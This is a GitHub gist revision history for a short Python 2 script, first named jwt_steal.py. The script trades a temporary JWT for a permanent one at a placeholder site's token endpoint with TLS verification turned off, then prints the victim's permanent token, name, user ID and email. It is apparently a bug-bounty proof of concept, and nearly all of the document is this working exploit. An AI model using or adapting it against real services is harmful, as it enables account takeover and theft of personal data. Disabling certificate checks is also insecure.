Skip to content

Instantly share code, notes, and snippets.

@shawarkhanethicalhacker

shawarkhanethicalhacker/token.py

Last active January 28, 2019 11:15
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save shawarkhanethicalhacker/ee910b76752f3d87ee0105aca64957f0 to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save shawarkhanethicalhacker/ee910b76752f3d87ee0105aca64957f0 to your computer and use it in GitHub Desktop.
Download ZIP

Revisions

  1. shawarkhanethicalhacker renamed this gist Jan 27, 2019. 1 changed file with 1 addition and 0 deletions.
    1 change: 1 addition & 0 deletions jwt_steal.py → token.py
    View file
    Original file line number Diff line number Diff line change
    @@ -1,3 +1,4 @@
    # A sample code that obtains a permanent JWT token when provided a temporary JWT token
    import json
    import requests
    import sys
  2. shawarkhanethicalhacker revised this gist Jan 27, 2019. 1 changed file with 3 additions and 7 deletions.
    10 changes: 3 additions & 7 deletions jwt_steal.py
    View file
    Original file line number Diff line number Diff line change
    @@ -1,17 +1,13 @@
    ```
    A little code that obtains permanent JWT token after providing a temporary JWT
    ```

    import json
    import requests
    import sys
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

    jwt_token=raw_input("Enter token > ")
    burp0_url = "https://secure.site.com:443/aapi/v1/authentications/token"
    burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Referer": "https://www.site.com", "authorization": "Bearer "+str(jwt_token), "content-type": "application/json", "origin": "https://www.site.com", "Connection": "clos"}
    retrieve_token = requests.get(burp0_url, headers=burp0_headers,verify=False)
    exploit_url = "https://secure.site.com:443/aapi/v1/authentications/token"
    exploit_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Referer": "https://www.site.com", "authorization": "Bearer "+str(jwt_token), "content-type": "application/json", "origin": "https://www.site.com", "Connection": "clos"}
    retrieve_token = requests.get(exploit_url, headers=exploit_headers,verify=False)

    if retrieve_token.status_code==200:
    s=json.loads(retrieve_token.text)
  3. shawarkhanethicalhacker created this gist Jan 27, 2019.
    23 changes: 23 additions & 0 deletions jwt_steal.py
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,23 @@
    ```
    A little code that obtains permanent JWT token after providing a temporary JWT
    ```

    import json
    import requests
    import sys
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

    jwt_token=raw_input("Enter token > ")
    burp0_url = "https://secure.site.com:443/aapi/v1/authentications/token"
    burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Referer": "https://www.site.com", "authorization": "Bearer "+str(jwt_token), "content-type": "application/json", "origin": "https://www.site.com", "Connection": "clos"}
    retrieve_token = requests.get(burp0_url, headers=burp0_headers,verify=False)

    if retrieve_token.status_code==200:
    s=json.loads(retrieve_token.text)
    print '[+] Token valid!'
    print '[i] Retrieving information:'
    print '\n[*] Permanent JWT Token: %s\n[*] First name: %s\n[*] Last name: %s\n[*] User ID: %s\n[*] Email Addr: %s'%(s['jwt_token'],s['user']['first_name'],s['user']['last_name'],s['user']['id'],s['user']['email'])

    else:
    print 'One-time token expired, try to retrieve token again.'